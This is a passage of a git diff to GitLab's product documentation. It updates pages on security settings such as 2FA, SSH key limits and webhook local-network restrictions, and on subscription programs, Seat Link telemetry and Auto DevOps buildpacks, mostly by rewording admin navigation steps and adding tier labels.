+ strong, industry-standard cryptographic hashing function.
+- **Stretching**: Password hashes are [stretched](https://en.wikipedia.org/wiki/Key_stretching)
+ to harden against brute-force attacks. By default, GitLab uses a stretching
+ factor of 10.
+- **Salting**: A [cryptographic salt](https://en.wikipedia.org/wiki/Salt_(cryptography))
+ is added to each password to harden against pre-computed hash and dictionary
+ attacks. To increase security, each salt is randomly generated for each
+ password, with no two passwords sharing a salt.
diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md
index 9b1664f0e8c..7c4ada4435c 100644
--- a/doc/security/passwords_for_integrated_authentication_methods.md
+++ b/doc/security/passwords_for_integrated_authentication_methods.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference
---
-# Generated passwords for users created through integrated authentication
+# Generated passwords for users created through integrated authentication **(FREE)**
GitLab allows users to set up accounts through integration with external [authentication and authorization providers](../administration/auth/README.md).
diff --git a/doc/security/project_import_decompressed_archive_size_limits.md b/doc/security/project_import_decompressed_archive_size_limits.md
index e37191d842f..6510cf459be 100644
--- a/doc/security/project_import_decompressed_archive_size_limits.md
+++ b/doc/security/project_import_decompressed_archive_size_limits.md
@@ -5,9 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Project Import Decompressed Archive Size Limits
+# Project import decompressed archive size limits **(FREE SELF)**
-> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31564) in GitLab 13.2.
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31564) in GitLab 13.2.
+> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63025) in GitLab 14.0.
When using [Project Import](../user/project/settings/import_export.md), the size of the decompressed project archive is limited to 10Gb.
@@ -15,7 +16,6 @@ If decompressed size exceeds this limit, `Decompressed archive size validation f
## Enable/disable size validation
-Decompressed size validation is enabled by default.
If you have a project with decompressed size exceeding this limit,
it is possible to disable the validation by turning off the
`validate_import_decompressed_archive_size` feature flag.
diff --git a/doc/security/rack_attack.md b/doc/security/rack_attack.md
index d80de92501e..6d2725d1ec1 100644
--- a/doc/security/rack_attack.md
+++ b/doc/security/rack_attack.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Rack Attack initializer
+# Rack Attack initializer **(FREE SELF)**
[Rack Attack](https://github.com/kickstarter/rack-attack), also known as Rack::Attack, is a Ruby gem
that is meant to protect GitLab with the ability to customize throttling and
diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md
index 157600c15fb..e698341b4b5 100644
--- a/doc/security/rate_limits.md
+++ b/doc/security/rate_limits.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: reference, howto
---
-# Rate limits
+# Rate limits **(FREE SELF)**
NOTE:
For GitLab.com, please see
diff --git a/doc/security/ssh_keys_restrictions.md b/doc/security/ssh_keys_restrictions.md
index 0875ce82e61..55eeaae5458 100644
--- a/doc/security/ssh_keys_restrictions.md
+++ b/doc/security/ssh_keys_restrictions.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
`ssh-keygen` allows users to create RSA keys with as few as 768 bits, which
falls well below recommendations from certain standards groups (such as the US
-NIST). Some organizations deploying GitLab will need to enforce minimum key
+NIST). Some organizations deploying GitLab need to enforce minimum key
strength, either to satisfy internal security policy or for regulatory
compliance.
@@ -18,14 +18,17 @@ the older DSA, and administrators may need to limit the allowed SSH key
algorithms.
GitLab allows you to restrict the allowed SSH key technology as well as specify
-the minimum key length for each technology.
+the minimum key length for each technology:
-In **Admin Area > Settings** (`/admin/application_settings/general`), expand the
-**Visibility and access controls** section:
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`).
+1. Expand the **Visibility and access controls** section:
-![SSH keys restriction admin settings](img/ssh_keys_restrictions_settings.png)
+ ![SSH keys restriction admin settings](img/ssh_keys_restrictions_settings.png)
-If a restriction is imposed on any key type, users cannot upload new SSH keys that don't meet the requirement. Any existing keys that don't meet it are disabled but not removed and users cannot to pull or push code using them.
+If a restriction is imposed on any key type, users cannot upload new SSH keys that don't meet the
+requirement. Any existing keys that don't meet it are disabled but not removed and users cannot to
+pull or push code using them.
An icon is visible to the user of a restricted key in the SSH keys section of their profile:
diff --git a/doc/security/two_factor_authentication.md b/doc/security/two_factor_authentication.md
index f2728f95b96..a009fa9964d 100644
--- a/doc/security/two_factor_authentication.md
+++ b/doc/security/two_factor_authentication.md
@@ -9,7 +9,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
Two-factor Authentication (2FA) provides an additional level of security to your
users' GitLab account. After being enabled, in addition to supplying their
-username and password to sign in, they'll be prompted for a code generated by an
+username and password to sign in, they are prompted for a code generated by an
application on their phone.
You can read more about it here:
@@ -24,12 +24,12 @@ want to enforce everyone to set up 2FA, you can choose from two different ways:
- Suggest on next login, but allow a grace period before enforcing.
After the configured grace period has elapsed, users can sign in but
-cannot leave the 2FA configuration area at `/profile/two_factor_auth`.
+cannot leave the 2FA configuration area at `/-/profile/two_factor_auth`.
To enable 2FA for all users:
-1. Navigate to **Admin Area > Settings > General**
- (`/admin/application_settings/general`).
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`).
1. Expand the **Sign-in restrictions** section, where you can configure both.
If you want 2FA enforcement to take effect during the next sign-in attempt,
@@ -39,13 +39,13 @@ change the grace period to `0`.
> [Introduced in](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/24965) GitLab 12.0, 2FA settings for a group are also applied to subgroups.
-If you want to enforce 2FA only for certain groups, you can:
+If you want to enforce 2FA only for certain groups:
-1. Enable it in the group's **Settings > General** page. Navigate to
- **Permissions, LFS, 2FA > Two-factor authentication**. You can then select
- the **Require all users in this group to setup Two-factor authentication**
- option.
-1. You can also specify a grace period in the **Time before enforced** option.
+1. Go to the group's **Settings > General** page.
+1. Expand the **Permissions, LFS, 2FA** section.
+1. Select the **Require all users in this group to setup two-factor authentication** option.
+
+You can also specify a grace period in the **Time before enforced** option.
To change this setting, you need to be administrator or owner of the group.
@@ -67,8 +67,12 @@ The following are important notes about 2FA:
2FA enabled, 2FA is **not** required for those individually added members.
- If there are multiple 2FA requirements (for example, group + all users, or multiple
groups) the shortest grace period is used.
-- It is possible to disallow subgroups from setting up their own 2FA requirements.
- Navigate to the top-level group's **Settings > General > Permissions, LFS, 2FA > Two-factor authentication** and uncheck the **Allow subgroups to set up their own two-factor authentication rule** field. This action causes all subgroups with 2FA requirements to stop requiring that from their members.
+- It is possible to disallow subgroups from setting up their own 2FA requirements:
+ 1. Go to the top-level group's **Settings > General**.
+ 1. Expand the **Permissions, LFS, 2FA** section.
+ 1. Uncheck the **Allow subgroups to set up their own two-factor authentication rule** field.
+
+ This action causes all subgroups with 2FA requirements to stop requiring that from their members.
## Disabling 2FA for everyone
@@ -77,11 +81,6 @@ Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enf
or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group)
settings. In addition to the steps in this section, you must disable any enforced 2FA
settings so users aren't asked to set up 2FA again, the next time the user signs in to GitLab.
-Disabling 2FA for everyone does not disable the [enforce 2FA for all users](#enforcing-2fa-for-all-users)
-or [enforce 2FA for all users in a group](#enforcing-2fa-for-all-users-in-a-group)
-settings if they have been configured. In addition to the steps in this section,
-you must disable any enforced 2FA settings so users aren't asked to setup
-2FA again when the next login to GitLab.
There may be some special situations where you want to disable 2FA for everyone
even when forced 2FA is disabled. There is a Rake task for that:
@@ -98,18 +97,6 @@ WARNING:
This is a permanent and irreversible action. Users have to
reactivate 2FA from scratch if they want to use it again.
-<!-- ## Troubleshooting
-
-Include any troubleshooting steps that you can foresee. If you know beforehand what issues
-one might have when setting this up, or when something is changed, or on upgrading, it's
-important to describe those, too. Think of things that may go wrong and include them here.
-This is important to minimize requests for support, and to avoid doc comments with
-questions that you know someone might ask.
-
-Each scenario can be a third-level heading, e.g. `### Getting error message X`.
-If you have none to add when creating a doc, leave this section in place
-but commented out to help encourage others to add to it in the future. -->
-
## Two-factor Authentication (2FA) for Git over SSH operations **(PREMIUM)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/270554) in GitLab 13.7.
@@ -162,3 +149,15 @@ The feature flag affects these features:
- [Two-factor Authentication (2FA) for Git over SSH operations](#two-factor-authentication-2fa-for-git-over-ssh-operations).
- [Customize session duration for Git Operations when 2FA is enabled](../user/admin_area/settings/account_and_limit_settings.md#customize-session-duration-for-git-operations-when-2fa-is-enabled).
+
+<!-- ## Troubleshooting
+
+Include any troubleshooting steps that you can foresee. If you know beforehand what issues
+one might have when setting this up, or when something is changed, or on upgrading, it's
+important to describe those, too. Think of things that may go wrong and include them here.
+This is important to minimize requests for support, and to avoid doc comments with
+questions that you know someone might ask.
+
+Each scenario can be a third-level heading, e.g. `### Getting error message X`.
+If you have none to add when creating a doc, leave this section in place
+but commented out to help encourage others to add to it in the future. -->
diff --git a/doc/security/unlock_user.md b/doc/security/unlock_user.md
index 45da283f33e..da451d96ef9 100644
--- a/doc/security/unlock_user.md
+++ b/doc/security/unlock_user.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# How to unlock a locked user from the command line
+# How to unlock a locked user from the command line **(FREE SELF)**
After ten failed login attempts a user gets in a locked state.
diff --git a/doc/security/user_email_confirmation.md b/doc/security/user_email_confirmation.md
index cf7cb0ea4cb..1b39937acbe 100644
--- a/doc/security/user_email_confirmation.md
+++ b/doc/security/user_email_confirmation.md
@@ -11,8 +11,14 @@ GitLab can be configured to require confirmation of a user's email address when
the user signs up. When this setting is enabled, the user is unable to sign in until
they confirm their email address.
-In **Admin Area > Settings** (`/admin/application_settings/general`), go to the section
-**Sign-up Restrictions** and look for the **Send confirmation email on sign-up** option.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > General** (`/admin/application_settings/general`).
+1. Expand the **Sign-up restrictions** section and look for the **Send confirmation email on sign-up** option.
+
+## Confirmation token expiry
+
+By default, a user can confirm their account within 24 hours after the confirmation email was sent.
+After 24 hours, the confirmation token becomes invalid.
<!-- ## Troubleshooting
diff --git a/doc/security/webhooks.md b/doc/security/webhooks.md
index bed998a5c84..b0535d0bcaf 100644
--- a/doc/security/webhooks.md
+++ b/doc/security/webhooks.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: concepts, reference, howto
---
-# Webhooks and insecure internal web services
+# Webhooks and insecure internal web services **(FREE SELF)**
NOTE:
On GitLab.com, the [maximum number of webhooks and their size](../user/gitlab_com/index.md#webhooks) per project, and per group, is limited.
@@ -44,11 +44,13 @@ private network are forbidden by default. That means that all requests made
to `127.0.0.1`, `::1` and `0.0.0.0`, as well as IPv4 `10.0.0.0/8`, `172.16.0.0/12`,
`192.168.0.0/16` and IPv6 site-local (`ffc0::/10`) addresses aren't allowed.
-This behavior can be overridden by enabling the option *"Allow requests to the
-local network from web hooks and services"* in the *"Outbound requests"* section
-inside the **Admin Area > Settings** (`/admin/application_settings/network`):
+This behavior can be overridden:
-![Outbound requests admin settings](img/outbound_requests_section_v12_2.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Network**.
+1. Expand the **Outbound requests** section:
+ ![Outbound requests admin settings](img/outbound_requests_section_v12_2.png)
+1. Select **Allow requests to the local network from web hooks and services**.
NOTE:
*System hooks* are enabled to make requests to local network by default since they are
@@ -61,10 +63,13 @@ set up by administrators. However, you can turn this off by disabling the
You can allow certain domains and IP addresses to be accessible to both *system hooks*
and *webhooks* even when local requests are not allowed by adding them to the
-allowlist. Navigate to **Admin Area > Settings > Network** (`/admin/application_settings/network`)
-and expand **Outbound requests**:
+allowlist:
-![Outbound local requests allowlist](img/allowlist_v13_0.png)
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Settings > Network** (`/admin/application_settings/network`)
+ and expand **Outbound requests**:
+
+ ![Outbound local requests allowlist](img/allowlist_v13_0.png)
The allowed entries can be separated by semicolons, commas or whitespaces
(including newlines) and be in different formats like hostnames, IP addresses and/or
diff --git a/doc/subscriptions/bronze_starter.md b/doc/subscriptions/bronze_starter.md
index a2cca23e5f1..66ab61e48b8 100644
--- a/doc/subscriptions/bronze_starter.md
+++ b/doc/subscriptions/bronze_starter.md
@@ -10,7 +10,9 @@ Although GitLab has discontinued selling the Bronze and Starter tiers, GitLab
continues to honor the entitlements of existing Bronze and Starter tier GitLab
customers for the duration of their contracts at that level.
-These features remain available to Bronze and Starter customers, even though
+New paid features will not be released in Bronze and Starter tiers after GitLab 13.9.
+
+The following features remain available to Bronze and Starter customers, even though
the tiers are no longer mentioned in GitLab documentation:
- [Activate GitLab EE with a license](../user/admin_area/license.md)
@@ -66,7 +68,7 @@ the tiers are no longer mentioned in GitLab documentation:
- [Full code quality reports in the code quality tab](../user/project/merge_requests/code_quality.md#code-quality-reports)
- [Merge request approvals](../user/project/merge_requests/approvals/index.md)
- [Multiple assignees](../user/project/merge_requests/getting_started.md#multiple-assignees)
- - [Approval Rule information for Reviewers](../user/project/merge_requests/getting_started.md#approval-rule-information-for-reviewers) **(PREMIUM)**
+ - [Approval Rule information for Reviewers](../user/project/merge_requests/reviews/index.md#approval-rule-information-for-reviewers) **(PREMIUM)**
- [Required Approvals](../user/project/merge_requests/approvals/index.md#required-approvals)
- [Code Owners as eligible approvers](../user/project/merge_requests/approvals/rules.md#code-owners-as-eligible-approvers)
- [Approval rules](../user/project/merge_requests/approvals/rules.md) features
diff --git a/doc/subscriptions/gitlab_com/index.md b/doc/subscriptions/gitlab_com/index.md
index f35f146f8b9..552f0e28d95 100644
--- a/doc/subscriptions/gitlab_com/index.md
+++ b/doc/subscriptions/gitlab_com/index.md
@@ -291,7 +291,7 @@ Quotas apply to:
1. In the top-right corner, select your avatar.
1. Select **Edit profile**.
- 1. In the left sidebar, select **[Usage Quotas](https://gitlab.com/profile/usage_quotas#pipelines-quota-tab)**.
+ 1. In the left sidebar, select **[Usage Quotas](https://gitlab.com/-/profile/usage_quotas#pipelines-quota-tab)**.
Only pipeline minutes for GitLab shared runners are restricted. If you have a
specific runner set up for your projects, there is no limit to your build time on GitLab SaaS.
diff --git a/doc/subscriptions/img/license-file.png b/doc/subscriptions/img/license-file.png
new file mode 100644
index 00000000000..6516b6b4476
--- /dev/null
+++ b/doc/subscriptions/img/license-file.png
Binary files differ
diff --git a/doc/subscriptions/img/license-overview.png b/doc/subscriptions/img/license-overview.png
new file mode 100644
index 00000000000..d008366fb65
--- /dev/null
+++ b/doc/subscriptions/img/license-overview.png
Binary files differ
diff --git a/doc/subscriptions/img/publicly-visible.png b/doc/subscriptions/img/publicly-visible.png
new file mode 100644
index 00000000000..91e8780e18d
--- /dev/null
+++ b/doc/subscriptions/img/publicly-visible.png
Binary files differ
diff --git a/doc/subscriptions/img/support-diagram.png b/doc/subscriptions/img/support-diagram.png
new file mode 100644
index 00000000000..1628a62f19a
--- /dev/null
+++ b/doc/subscriptions/img/support-diagram.png
Binary files differ
diff --git a/doc/subscriptions/index.md b/doc/subscriptions/index.md
index aff392f61ff..62681d9a657 100644
--- a/doc/subscriptions/index.md
+++ b/doc/subscriptions/index.md
@@ -12,8 +12,8 @@ have access to. Subscriptions are valid for 12 months.
GitLab provides special subscriptions to participants in:
-- [Education](#gitlab-for-education-subscriptions)
-- [Open Source](#gitlab-for-open-source-subscriptions)
+- [Education](#gitlab-for-education)
+- [Open Source](#gitlab-for-open-source)
## Choose a GitLab subscription
@@ -68,7 +68,7 @@ click D "./gitlab_com/index.html#view-your-gitlabcom-subscription"
click E "./self_managed/index.html#view-your-subscription"
```
-## Customers portal
+## Customers Portal
With the [Customers Portal](https://customers.gitlab.com/) you can:
@@ -154,6 +154,8 @@ To change the namespace linked to a subscription:
Subscription charges are calculated based on the total number of users in a group, including its subgroups and nested projects. If the total number of users exceeds the number of seats in your subscription, your account is charged for the additional users.
+Only one namespace can be linked to a subscription.
+
### Change Customers Portal account password
To change the password for this customers portal account:
@@ -163,20 +165,102 @@ To change the password for this customers portal account:
1. Make the required changes to the **Your password** section.
1. Click **Save changes**.
-## GitLab for Education subscriptions
+## Community program subscriptions
+
+### GitLab for Education
+
+For qualifying non-profit educational institutions, the [GitLab for Education](https://about.gitlab.com/solutions/education/) program provides
+the top GitLab tier, plus 50,000 CI minutes per month.
-The GitLab Education license can only be used for instructional-use or
+The GitLab for Education license can only be used for instructional-use or
non-commercial academic research.
-Find more information how to apply and renew at
+Find more information on how to apply and renew at
[GitLab for Education](https://about.gitlab.com/solutions/education/).
-## GitLab for Open Source subscriptions
+### GitLab for Open Source
+
+For qualifying open source projects, the [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/) program provides
+the top GitLab tier, plus 50,000 CI minutes per month.
+
+You can find more information about the [program requirements](https://about.gitlab.com/solutions/open-source/join/#requirements),
+[renewals](https://about.gitlab.com/solutions/open-source/join/$renewals),
+and benefits on the [GitLab for Open Source application page](https://about.gitlab.com/solutions/open-source/join/).
-All [GitLab for Open Source](https://about.gitlab.com/solutions/open-source/)
-requests, including subscription renewals, must be made by using the application process.
If you have any questions, send an email to `opensource@gitlab.com` for assistance.
+#### Verification for Open Source program
+
+As part of the [application verification process](https://about.gitlab.com/solutions/open-source/join/), you must upload <b>three screenshots</b>.
+These are the three screenshots that are needed to qualify you for the GitLab for Open Source program.
+
+- [OSI-approved license overview](#screenshot-1-license-overview)
+- [OSI-approved license file](#screenshot-2-license-file)
+- [Publicly visible settings](#screenshot-3-publicly-visible-settings)
+
+##### OSI-approved license
+
+You must apply an [OSI-approved license](https://opensource.org/licenses/) to each project in your group before you can be verified.
+
+Add the license to the LICENSE file so that it shows up in the overview section of the project. This allows contributors to see it at a glance.
+
+It's best to copy and paste the entire license into the file in its original form. GitLab defaults to **All rights reserved** if no license file is mentioned.
+You must ensure that you add the correct license to each project within your group.
+
+After you ensure that you are using OSI-approved licenses for your projects, you can take your screenshots.
+
+###### Screenshot 1: License overview
+
+On the left sidebar, select **Project Information > Details**. Take a screenshot that includes a view of the license you've chosen for your project.
+
+![License overview](img/license-overview.png)
+
+###### Screenshot 2: License file
+
+Navigate to one of the license files that you uploaded. You can usually find the license file by selecting **Project Information > Details** and scanning the page for the license.
+Make sure the screenshot includes the title of the license.
+
+![License file](img/license-file.png)
+
+##### Screenshot 3: Publicly visible settings
+
+The goal of the GitLab for Open Source program is to enable collaboration on open source projects.
+As a pre-condition to collaboration, people must be able to view the open source project.
+As a result, we ask that all projects under this license are publicly visible.
+
+Follow these instructions to take a screenshot of the publicly visible settings:
+
+ 1. Go to your project and select **Settings**.
+ 1. Expand **Visibility, project features, permissions**.
+ 1. Set **Project Visibility** to **Public**.
+ 1. Ensure others can request access by selecting the **Users can request access** checkbox.
+ 1. Take the screenshot. Include as much of the publicly visible settings as possible. Make sure to include your project's name in the
+ upper-left of the screenshot.
+
+![Publicly visible setting](img/publicly-visible.png)
+
+NOTE:
+From time to time, GitLab allows exceptions. One or two projects within a group can be private if there is a legitimate need for it, for example,
+if a project holds sensitive data. Email `opensource@gitlab.com` with details of your use case to request written permission for exceptions.
+
+### GitLab for Startups
+
+For qualifying startups, the [GitLab for Startups](https://about.gitlab.com/solutions/startups/) program provides
+the top GitLab tier, plus 50,000 CI minutes per month for 12 months.
+
+For more information, including program requirements, see the [Startup program's landing page](https://about.gitlab.com/solutions/startups/).
+
+Send all questions and requests related to the GitLab for Startups program to `startups@gitlab.com`.
+
+### Support for Community Programs
+
+Because these Community Programs are free of cost, regular Priority Support is not included. However, it can be purchased at a 95% discount in some cases.
+If interested, email the relevant community program team: `education@gitlab.com`, `opensource@gitlab.com`, or `startups@gitlab.com`.
+
+As a community member, you can follow this diagram to find support:
+
+![Support diagram](img/support-diagram.png)
+
## Contact Support
Learn more about:
diff --git a/doc/subscriptions/self_managed/index.md b/doc/subscriptions/self_managed/index.md
index 648ad0c70a5..c4484ea609f 100644
--- a/doc/subscriptions/self_managed/index.md
+++ b/doc/subscriptions/self_managed/index.md
@@ -91,8 +91,8 @@ instance, ensure you're purchasing enough seats to
If you are an administrator, you can view the status of your subscription:
-1. Go to **Admin Area**.
-1. From the left-hand menu, select **License**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **License**.
The **License** page includes the following details:
@@ -188,7 +188,7 @@ We recommend following these steps during renewal:
1. Log in to the [Customers Portal](https://customers.gitlab.com/customers/sign_in) and select the **Renew** button beneath your existing subscription.
NOTE:
- If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via `renewals@gitlab.com` for assistance as this can't be done in the Customers Portal.
+ If you need to change your [GitLab tier](https://about.gitlab.com/pricing/), contact our sales team via [the sales contact form](https://about.gitlab.com/sales/) for assistance as this can't be done in the Customers Portal.
1. In the first box, enter the total number of user licenses you'll need for the upcoming year. Be sure this number is at least **equal to, or greater than** the number of billable users in the system at the time of performing the renewal.
1. Enter the number of [users over license](#users-over-license) in the second box for the user overage incurred in your previous subscription term.
@@ -209,9 +209,14 @@ Seat Link daily sends a count of all users in connected GitLab self-managed inst
Seat Link provides **only** the following information to GitLab:
- Date
+- Timestamp
- License key
- Historical maximum user count
- Billable users count
+- GitLab version
+- Hostname
+- Instance ID
+- MD5 hash of license
For offline or closed network customers, the existing [true-up model](#users-over-license) is used. Prorated charges are not possible without user count data.
@@ -220,6 +225,8 @@ For offline or closed network customers, the existing [true-up model](#users-ove
<pre><code>
{
+ gitlab_version: '13.12.0',
+ timestamp: '2020-01-29T18:25:57+00:00',
date: '2020-01-29',
license_key: 'ZXlKa1lYUmhJam9pWm5WNmVsTjVZekZ2YTJoV2NucDBh
RXRxTTA5amQxcG1VMVZqDQpXR3RwZEc5SGIyMVhibmxuZDJ0NWFrNXJTVzVH
@@ -255,8 +262,9 @@ TjJ4eVlVUkdkWEJtDQpkSHByYWpreVJrcG9UVlo0Y0hKSU9URndiV2RzVFdO
VlhHNXRhVmszTkV0SVEzcEpNMWRyZEVoRU4ydHINCmRIRnFRVTlCVUVVM1pV
SlRORE4xUjFaYVJGb3JlWGM5UFZ4dUlpd2lhWFlpt2lKV00yRnNVbk5RTjJk
Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=',
- max_historical_user_count: 10,
- active_users: 6
+ hostname: 'gitlab.example.com',
+ instance_id: 'c1ac02cb-cb3f-4120-b7fe-961bbfa3abb7',
+ license_md5: '7cd897fffb3517dddf01b79a0889b515'
}
</code></pre>
@@ -264,8 +272,9 @@ Sg0KU1hNMGExaE9SVGR2V2pKQlBUMWNiaUo5DQo=',
You can view the exact JSON payload in the administration panel. To view the payload:
-1. Navigate to **Admin Area > Settings > Metrics and profiling** and expand **Seat Link**.
-1. Click **Preview payload**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Seat Link**.
+1. Select **Preview payload**.
#### Disable Seat Link
@@ -273,7 +282,12 @@ You can view the exact JSON payload in the administration panel. To view the pay
Seat Link is enabled by default.
-To disable this feature, go to **Admin Area > Settings > Metrics and profiling**, uncheck the **Enable Seat Link** checkbox > **Save changes**.
+To disable this feature:
+
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. On the left sidebar, select **Settings > Metrics and profiling** and expand **Seat Link**.
+1. Clear the **Enable Seat Link** checkbox.
+1. Select **Save changes**.
To disable Seat Link in an Omnibus GitLab installation, and prevent it from
being configured in the future through the administration panel, set the following in
diff --git a/doc/system_hooks/system_hooks.md b/doc/system_hooks/system_hooks.md
index ea588fb32a5..7fabe099f38 100644
--- a/doc/system_hooks/system_hooks.md
+++ b/doc/system_hooks/system_hooks.md
@@ -52,7 +52,7 @@ for Push and Tag events, but we never display commits.
To create a system hook:
-1. In the top navigation bar, go to **{admin}** **Admin Area**.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
1. In the left sidebar, select **System Hooks**.
1. Provide the **URL** and **Secret Token**.
1. Select the check box next to each **Trigger** you want to enable.
diff --git a/doc/tools/email.md b/doc/tools/email.md
index 4dbb819c85b..8ba275903da 100644
--- a/doc/tools/email.md
+++ b/doc/tools/email.md
@@ -5,9 +5,9 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto, reference
---
-# Email from GitLab **(STARTER ONLY)**
+# Email from GitLab **(PREMIUM SELF)**
-GitLab provides a simple tool to administrators for emailing all users, or users of
+GitLab provides a tool to administrators for emailing all users, or users of
a chosen group or project, right from the Admin Area. Users receive the email
at their primary email address.
@@ -22,8 +22,9 @@ For information about email notifications originating from GitLab, read
## Sending emails to users from within GitLab
-1. Navigate to the **Admin Area > Overview > Users** and press the
- **Send email to users** button.
+1. On the top bar, select **Menu >** **{admin}** **Admin**.
+1. In the left sidebar, select **Overview > Users**.
+1. Select **Send email to users**.
![admin users](email1.png)
diff --git a/doc/topics/authentication/index.md b/doc/topics/authentication/index.md
index 25640671e78..4181e32fcf2 100644
--- a/doc/topics/authentication/index.md
+++ b/doc/topics/authentication/index.md
@@ -4,7 +4,7 @@ group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Authentication
+# Authentication **(FREE)**
This page gathers all the resources for the topic **Authentication** within GitLab.
@@ -33,15 +33,15 @@ This page gathers all the resources for the topic **Authentication** within GitL
- [Atlassian Crowd OmniAuth Provider](../../administration/auth/crowd.md)
- [CAS OmniAuth Provider](../../integration/cas.md)
- [SAML OmniAuth Provider](../../integration/saml.md)
- - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md) **(PREMIUM SAAS)**
- - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md) **(PREMIUM SAAS)**
- - [Kerberos integration (GitLab EE)](../../integration/kerberos.md) **(STARTER)**
+ - [SAML for GitLab.com Groups](../../user/group/saml_sso/index.md)
+ - [SCIM user provisioning for GitLab.com Groups](../../user/group/saml_sso/scim_setup.md)
+ - [Kerberos integration (GitLab EE)](../../integration/kerberos.md)
## API
- [OAuth 2 Tokens](../../api/README.md#oauth2-tokens)
- [Personal access tokens](../../api/README.md#personalproject-access-tokens)
-- [Project access tokens](../../api/README.md#personalproject-access-tokens) **(FREE SELF)**
+- [Project access tokens](../../api/README.md#personalproject-access-tokens)
- [Impersonation tokens](../../api/README.md#impersonation-tokens)
- [GitLab as an OAuth2 provider](../../api/oauth2.md#gitlab-as-an-oauth2-provider)
@@ -53,4 +53,4 @@ This page gathers all the resources for the topic **Authentication** within GitL
- [Jenkins GitLab OAuth Plugin](https://wiki.jenkins.io/display/JENKINS/GitLab+OAuth+Plugin)
- [OKD - Configuring Authentication and User Agent](https://docs.okd.io/3.11/install_config/configuring_authentication.html#GitLab)
-<!-- vale gitlab.Spelling = YES --> \ No newline at end of file
+<!-- vale gitlab.Spelling = YES -->
diff --git a/doc/topics/autodevops/customize.md b/doc/topics/autodevops/customize.md
index a1a12ccd451..42c54961c1d 100644
--- a/doc/topics/autodevops/customize.md
+++ b/doc/topics/autodevops/customize.md
@@ -16,15 +16,25 @@ staging and canary deployments,
## Custom buildpacks
-If the automatic buildpack detection fails for your project, or if you want to
-use a custom buildpack, you can override the buildpack using a project CI/CD variable
-or a `.buildpacks` file in your project:
+If the automatic buildpack detection fails for your project, or if you
+need more control over your build, you can customize the buildpacks
+used for the build.
-- **Project variable** - Create a project variable `BUILDPACK_URL` with the URL
- of the buildpack to use.
-- **`.buildpacks` file** - Add a file in your project's repository called `.buildpacks`,
- and add the URL of the buildpack to use on a line in the file. If you want to
- use multiple buildpacks, enter one buildpack per line.
+### Custom buildpacks with Cloud Native Buildpacks
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/28165) in GitLab 12.10.
+
+Specify either:
+
+- The CI/CD variable `BUILDPACK_URL` according to [`pack`'s specifications](https://buildpacks.io/docs/app-developer-guide/specific-buildpacks/).
+- A [`project.toml` project descriptor](https://buildpacks.io/docs/app-developer-guide/using-project-descriptor/) with the buildpacks you would like to include.
+
+### Custom buildpacks with Herokuish
+
+Specify either:
+
+- The CI/CD variable `BUILDPACK_URL`.
+- A `.buildpacks` file at the root of your project, containing one buildpack URL per line.
The buildpack URL can point to either a Git repository URL or a tarball URL.
For Git repositories, you can point to a specific Git reference (such as
@@ -176,7 +186,7 @@ to the desired environment. See [Limit environment scope of CI/CD variables](../
## Customizing `.gitlab-ci.yml`
Auto DevOps is completely customizable because the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
is just an implementation of a [`.gitlab-ci.yml`](../../ci/yaml/README.md) file,
and uses only features available to any implementation of `.gitlab-ci.yml`.
@@ -191,11 +201,11 @@ include:
```
Add your changes, and your additions are merged with the
-[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
+[Auto DevOps template](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/ci/templates/Auto-DevOps.gitlab-ci.yml)
using the behavior described for [`include`](../../ci/yaml/README.md#include).
If you need to specifically remove a part of the file, you can also copy and paste the contents of the
